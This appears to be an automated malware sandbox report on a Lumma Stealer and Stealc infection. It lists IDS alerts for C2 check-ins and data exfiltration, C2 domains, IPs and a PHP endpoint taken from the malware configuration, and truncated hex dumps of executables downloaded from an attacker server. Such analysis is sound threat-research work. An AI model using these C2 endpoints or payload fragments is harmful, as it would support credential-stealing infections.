Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49907 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49937 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49906 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49953 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49971 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:63053 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:65451 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:56005 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:62818 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:60643 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62843 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62823 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62837 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62854 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62862 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62881 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62891 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62871 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:62882 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:62934 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49750 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49750 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49748 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49748 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49811 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49788 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49811 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49800 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49800 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49953 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:62837 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62837 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:62843 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:62823 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62823 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62891 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:62881 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 36

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:36:32 GMTContent-Type: application/octet-streamContent-Length: 2895872Last-Modified: Wed, 30 Oct 2024 10:42:46 GMTConnection: keep-aliveETag: "67220da6-2c3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 62 6e 66 78 72 73 75 00 e0 2b 00 00 a0 00 00 00 ce 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6a 63 65 74 79 69 6d 00 20 00 00 00 80 2c 00 00 06 00 00 00 08 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 0e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:36:35 GMTContent-Type: application/octet-streamContent-Length: 1933824Last-Modified: Wed, 30 Oct 2024 11:24:18 GMTConnection: keep-aliveETag: "67221762-1d8200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4c 00 00 04 00 00 21 39 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 67 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 67 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 75 6c 68 77 6a 67 00 70 1a 00 00 00 32 00 00 68 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6e 6f 77 70 67 62 72 00 10 00 00 00 70 4c 00 00 04 00 00 00 5c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4c 00 00 22 00 00 00 60 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:36:50 GMTContent-Type: application/octet-streamContent-Length: 3016704Last-Modified: Wed, 30 Oct 2024 11:23:58 GMTConnection: keep-aliveETag: "6722174e-2e0800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 10 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 31 00 00 04 00 00 0b 65 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 66 71 69 77 6e 7a 75 00 50 2b 00 00 b0 05 00 00 4e 2b 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 77 68 78 66 75 62 63 00 10 00 00 00 00 31 00 00 04 00 00 00 e2 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 31 00 00 22 00 00 00 e6 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:36:55 GMTContent-Type: application/octet-streamContent-Length: 2136064Last-Modified: Wed, 30 Oct 2024 11:24:11 GMTConnection: keep-aliveETag: "6722175b-209800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 a5 3b 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 79 73 67 62 72 68 63 00 f0 19 00 00 a0 58 00 00 e8 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 63 61 64 77 6b 69 7a 00 10 00 00 00 90 72 00 00 04 00 00 00 72 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 72 00 00 22 00 00 00 76 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:01 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Wed, 30 Oct 2024 10:42:19 GMTConnection: keep-aliveETag: "67220d8b-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 83 0d 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 e7 ec 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
